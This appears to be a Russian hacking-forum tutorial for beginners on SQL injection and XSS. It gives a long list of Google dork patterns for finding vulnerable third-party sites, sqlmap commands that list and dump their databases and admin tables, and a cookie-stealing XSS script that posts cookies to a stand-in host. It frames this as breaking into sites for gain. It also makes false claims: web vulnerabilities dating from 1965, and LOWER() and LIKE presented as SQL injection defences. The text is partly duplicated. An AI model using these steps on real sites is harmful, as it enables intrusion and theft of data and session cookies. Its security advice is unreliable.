Всем добрый день!
т.к я начал свой путь в изучении уязвимостей web приложений, то хочу вставить свои 2 слова.
Это будет краткий экскурс для всех новичков(хотя надеюсь что будет полезно и для продвинутых)
В статье я буду начинать с самых азов, понемногу переходя к более сложным этапам.
Иногда в статье вы будете видеть подсчет символов - это копипаст. Это мне нужно для расчета итогового кол-ва + удобнее модераторам.
Wiki:
В компьютерной безопасности термин «уязвимость» (англ. vulnerability, на сленге — дыра) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ, скриптовых и SQL-инъекций. Некоторые уязвимости известны только теоретически, другие же активно используются и имеют известные эксплойты. (534 символа)
мое мнение:
Уязвимость - это ошибка и/или недостаток в какой-либо системе, которая используется хакером для получения доступа к системе с целью получения выгоды. (определение маленькое, но считаю что понятное)
Актуальность темы
Посмотрим на статистику. Что мы там увидим? доля уязвимых веб-приложений остается довольно высокой, что означает высокую потребность в специалистах. Хотя в нашем же случае высокая доля уязвимых веб-приложений - только подруку.
Теперь немного углубимся. С каждым годом становится все больше того, что можно взломать -> становится больше уязвимостей -> становится больше возможностей.
Краткая история
Первые уязвимости веб-приложений были обнаружены в 1965 году.
В 2000-х годах веб-приложения стали более сложными и функциональными. Это привело к увеличению количества уязвимостей
В 2010-х годах количество и разнообразие веб-уязвимостей продолжали расти
В 2020-х годах так же продолжает расти.
Самым первым человеком нашедшим уязвимость стал Вильям Д. Мэтьюс в 1965 году.
Какие бывают уязвимости
Что нужно для начала?
Операционная система - тут на ваш вкус и цвет, но наиболее распространенной является Linux.(в ней я и буду приводить примеры)
Браузер - Chrome или FireFox
Софт - Burp Suite, OWASP ZAP, Nmap, SQLmap и многие другие. В статье мы рассмотрим некоторые из них.
Начнем с OC. Т.к я пишу статью для чайников, то никакие virtual box мы использовать не будем, и никакие VDS покупать тоже не будем.
Сперва откроем power shell от имени администратора и введем команду
Заходим в Microsoft store и качаем Kali linux.
После установки заходим и настраиваем пользователя.
А почему только командная строка? потому что нужно установить kex
Вводим поочередно:
После установки вводим kex и получаем графический интерфейс.
Систему поставили, теперь можем переходить к основной части.
Главный вопрос - как определить sql уязвимость? Здесь все достаточно просто, самый известный способ - подставить ' в запрос. Например: example.com/product.php?id=3'
Если уязвимость есть, то нам выведет ошибку, на подобии
Еще одним способом является подставление выражения. Например:
example.com/product.php?id=1
example.com/product.php?id=1+1
если запросы возвращают одну и ту же страницу, то вероятно, что уязвимость есть.
В ручную все "взламывать" мы конечно же не будем. Используем sqlmap.
установка:
Перейдем к практике:
Первым делом нам нужно найти уязвимый сайт. Для этого мы можем использовать всеми любимые гугл дорки
После того как нашли подходящий сайт и убедились что уязвимость в нем есть, можем приступать к великому взлому.
запускаем линукс, переходим в директорию с sqlmap и вводим команду:
Если sqlmap нашел уязвимость, то он выведет список баз данных, например:
Теперь нам нужно узнать что вообще скрывают эти базы. Для этого мы тоже будем использовать sqlmap. Вводим команду:
python3 sqlmap.py -u "ваш сайт" -D ваша база -tables
Теперь нужно получить столбцы из нужной нам таблицы, я попробую получить из tbl_admin:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --columns
Так же мы можем получить все данные в этой таблице:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --dump
И так, мы получили то, что хотели. Теперь давайте разберем команды которые мы использовали:
XSS-атаки
Предположим что есть сайт с полем для ввода каких либо данных. Этот сайт никак не фильтрует вводимые пользователем данные.
У меня есть самописный сайт, который я никак и не от чего не защищал. На нем есть поле ввода данных:
Что мы можем сделать для проверки на xss уязвимость? Ввести в поле скрипт:
После ввода нажмем на enter и получаем:
Это был самый простой пример xss уязвимости, давайте разберем чуть посложнее
xss уязвимости могут быть использованы для кражи куки файлов:
Для начала мы можем просто вывести наши куки
т.к в js я на уровне старенького деда, то возьму уже готовый скрипт:
К сожалению проверить на работоспособность я не смогу, но в качестве примера и общего понимания подойдет.
параметризованные запросы:
здесь переменная :username используется для передачи значения имени пользователя в запрос
Функции экранирования:
Здесь функция LOWER() используется для преобразования имени пользователя в нижний регистр.
Использование фильтров:
используется фильтр LIKE, который проверяет, соответствует ли имя пользователя шаблону.
Это лишь малая часть способов защиты от sql-инъекций, на деле их куда больше.
Спасибо что прочитали, если статья понравится, то запилю вторую часть.
т.к я начал свой путь в изучении уязвимостей web приложений, то хочу вставить свои 2 слова.
Это будет краткий экскурс для всех новичков(хотя надеюсь что будет полезно и для продвинутых)
В статье я буду начинать с самых азов, понемногу переходя к более сложным этапам.
Иногда в статье вы будете видеть подсчет символов - это копипаст. Это мне нужно для расчета итогового кол-ва + удобнее модераторам.
- Введение
- Понятие уязвимостей
- Актуальность темы
- Краткая история
- Какие бывают уязвимости
- Что нужно для начала?
- Основная часть
- SQL-инъекции
- XSS-атаки
- Заключение
- Рекомендации по защите
Введение
Понятие уязвимостейWiki:
В компьютерной безопасности термин «уязвимость» (англ. vulnerability, на сленге — дыра) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Уязвимость может быть результатом ошибок программирования, недостатков, допущенных при проектировании системы, ненадежных паролей, вирусов и других вредоносных программ, скриптовых и SQL-инъекций. Некоторые уязвимости известны только теоретически, другие же активно используются и имеют известные эксплойты. (534 символа)
мое мнение:
Уязвимость - это ошибка и/или недостаток в какой-либо системе, которая используется хакером для получения доступа к системе с целью получения выгоды. (определение маленькое, но считаю что понятное)
Актуальность темы
Теперь немного углубимся. С каждым годом становится все больше того, что можно взломать -> становится больше уязвимостей -> становится больше возможностей.
Краткая история
Первые уязвимости веб-приложений были обнаружены в 1965 году.
В 2000-х годах веб-приложения стали более сложными и функциональными. Это привело к увеличению количества уязвимостей
В 2010-х годах количество и разнообразие веб-уязвимостей продолжали расти
В 2020-х годах так же продолжает расти.
Самым первым человеком нашедшим уязвимость стал Вильям Д. Мэтьюс в 1965 году.
Какие бывают уязвимости
- SQL-инъекции: это уязвимости, которые позволяют внедрять свой собственный код в SQL-запросы. Это может привести к утечке данных.
- Cross-site scripting (XSS): это уязвимости, которые позволяют внедрять вредоносный код в веб-страницу. Этот код может быть использован для кражи учетных данных пользователей.
- Уязвимости в безопасности API: это ошибки в API-интерфейсах веб-приложений, которые могут быть использованы для получения доступа к системе.
- Уязвимости в безопасности конфигурации: это ошибки в конфигурации веб-приложения, которые могут быть использованы для получения к системе.
Что нужно для начала?
Операционная система - тут на ваш вкус и цвет, но наиболее распространенной является Linux.(в ней я и буду приводить примеры)
Браузер - Chrome или FireFox
Софт - Burp Suite, OWASP ZAP, Nmap, SQLmap и многие другие. В статье мы рассмотрим некоторые из них.
Начнем с OC. Т.к я пишу статью для чайников, то никакие virtual box мы использовать не будем, и никакие VDS покупать тоже не будем.
Сперва откроем power shell от имени администратора и введем команду
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-LinuxЗаходим в Microsoft store и качаем Kali linux.
После установки заходим и настраиваем пользователя.
А почему только командная строка? потому что нужно установить kex
Вводим поочередно:
sudo apt updatesudo apt dist-upgradesudo apt install -y kali-win-kexПосле установки вводим kex и получаем графический интерфейс.
Систему поставили, теперь можем переходить к основной части.
Основная часть
SQL-инъекцииГлавный вопрос - как определить sql уязвимость? Здесь все достаточно просто, самый известный способ - подставить ' в запрос. Например: example.com/product.php?id=3'
Если уязвимость есть, то нам выведет ошибку, на подобии
Kernel Error : 2 :: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home1/site/public_html/nuts2/system/db/mysql/mysqlconnection.php line 128Еще одним способом является подставление выражения. Например:
example.com/product.php?id=1
example.com/product.php?id=1+1
если запросы возвращают одну и ту же страницу, то вероятно, что уязвимость есть.
В ручную все "взламывать" мы конечно же не будем. Используем sqlmap.
установка:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-devcd sqlmap-dev/./sqlmap.py --wizardПерейдем к практике:
Первым делом нам нужно найти уязвимый сайт. Для этого мы можем использовать всеми любимые гугл дорки
view_items.php?id=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
home.php?cat=
item_book.php?CAT=
www/index.php?page=
schule/termine.php?view=
goods_detail.php?data=
storemanager/contents/item.php?page_code=
view_items.php?id=
customer/board.htm?mode=
help/com_view.html?code=
n_replyboard.php?typeboard=
eng_board/view.php?T****=
prev_results.php?prodID=
bbs/view.php?no=
gnu/?doc=
zb/view.php?uid=
global/product/product.php?gubun=
m_view.php?ps_db=
productlist.php?tid=
product-list.php?id=
onlinesales/product.php?product_id=
garden_equipment/Fruit-Cage/product.php?pr=
product.php?shopprodid=
product_info.php?products_id=
productlist.php?tid=
showsub.php?id=
productlist.php?fid=
products.php?cat=
products.php?cat=
product-list.php?id=
product.php?sku=
store/product.php?productid=
products.php?cat=
productList.php?cat=
product_detail.php?product_id=
product.php?pid=
view_items.php?id=
more_details.php?id=
county-facts/diary/vcsgen.php?id=
idlechat/message.php?id=
podcast/item.php?pid=
products.php?act=
details.php?prodId=
socsci/events/full_details.php?id=
ourblog.php?categoryid=
mall/more.php?ProdID=
archive/get.php?message_id=
review/review_form.php?item_id=
english/publicproducts.php?groupid=
news_and_notices.php?news_id=
rounds-detail.php?id=
gig.php?id=
board/view.php?no=
index.php?modus=
news_item.php?id=
rss.php?cat=
products/product.php?id=
details.php?ProdID=
els_/product/product.php?id=
store/description.php?iddesc=
socsci/news_items/full_story.php?id=
naboard/memo.php?bd=
bookmark/mybook/bookmark.php?bookPageNo=
board/board.html?table=
kboard/kboard.php?board=
order.asp?lotid=
goboard/front/board_view.php?code=
bbs/bbsView.php?id=
boardView.php?bbs=
eng/rgboard/view.php?&bbs_id=
product/product.php?cate=
content.php?p=
page.php?module=
?pid=
bookpage.php?id=
cbmer/congres/page.php?LAN=
content.php?id=
news.php?ID=
photogallery.php?id=
index.php?id=
product/product.php?product_no=
nyheder.htm?show=
book.php?ID=
print.php?id=
detail.php?id=
book.php?id=
content.php?PID=
more_detail.php?id=
content.php?id=
view_items.php?id=
view_author.php?id=
Скрытый контент для пользователей групп Администратор, Модераторы.
main.php?id=
english/fonction/print.php?id=
magazines/adult_magazine_single_page.php?magid=
product_details.php?prodid=
magazines/adult_magazine_full_year.php?magid=
products/card.php?prodID=
catalog/product.php?cat_id=
e_board/modifyform.html?code=
community/calendar-event-fr.php?id=
products.php?p=
news.php?id=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID=noticiasDetalle.php?xid=
sitio/item.php?idcd=
index.php?site=
запускаем линукс, переходим в директорию с sqlmap и вводим команду:
python3 sqlmap.py -u "ваш сайт" --dbsЕсли sqlmap нашел уязвимость, то он выведет список баз данных, например:
Теперь нам нужно узнать что вообще скрывают эти базы. Для этого мы тоже будем использовать sqlmap. Вводим команду:
python3 sqlmap.py -u "ваш сайт" -D ваша база -tables
Теперь нужно получить столбцы из нужной нам таблицы, я попробую получить из tbl_admin:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --columns
Так же мы можем получить все данные в этой таблице:
python3 sqlmap.py -u "ваш сайт" -D ваша база -T ваша таблица --dump
И так, мы получили то, что хотели. Теперь давайте разберем команды которые мы использовали:
- -u URL, используется для вставки целевого сайта
- -D DB, используется для вставки имени базы данных
- -Е table, используется для вставки имени таблицы
- --columns, используется для показа столбцов
- --tables, используется для показа таблиц
XSS-атаки
Предположим что есть сайт с полем для ввода каких либо данных. Этот сайт никак не фильтрует вводимые пользователем данные.
У меня есть самописный сайт, который я никак и не от чего не защищал. На нем есть поле ввода данных:
Что мы можем сделать для проверки на xss уязвимость? Ввести в поле скрипт:
<script>alert("XSS");</script>После ввода нажмем на enter и получаем:
Это был самый простой пример xss уязвимости, давайте разберем чуть посложнее
xss уязвимости могут быть использованы для кражи куки файлов:
Для начала мы можем просто вывести наши куки
<script>alert(document.cookie)</script>
т.к в js я на уровне старенького деда, то возьму уже готовый скрипт:
JavaScript:
<script>
function getCookies() {
var cookies = document.cookie.split(";");
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].split("=");
var name = cookie[0];
var value = cookie[1];
console.log(name + "=" + value);
}
}
getCookies();
function sendCookies() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com/api/cookies");
xhr.setRequestHeader("Content-Type", "application/json");
var data = {
cookies: cookies
};
xhr.send(JSON.stringify(data));
}
sendCookies();
</script>
Заключение
Рекомендации по защите
- Использование параметризованных запросов
- Использование функций экранирования
- Использование фильтров
- Ограничение доступа к базе данных
параметризованные запросы:
SQL:
SELECT *
FROM users
WHERE username = :username
Функции экранирования:
SQL:
SELECT *
FROM users
WHERE username = LOWER(:username)
Использование фильтров:
SQL:
SELECT *
FROM users
WHERE username LIKE :username
Это лишь малая часть способов защиты от sql-инъекций, на деле их куда больше.
Спасибо что прочитали, если статья понравится, то запилю вторую часть.
Скрытый контент для пользователей групп Администратор, Модераторы.
Скрытый контент для пользователей групп Администратор, Модераторы.
Вложения
Последнее редактирование: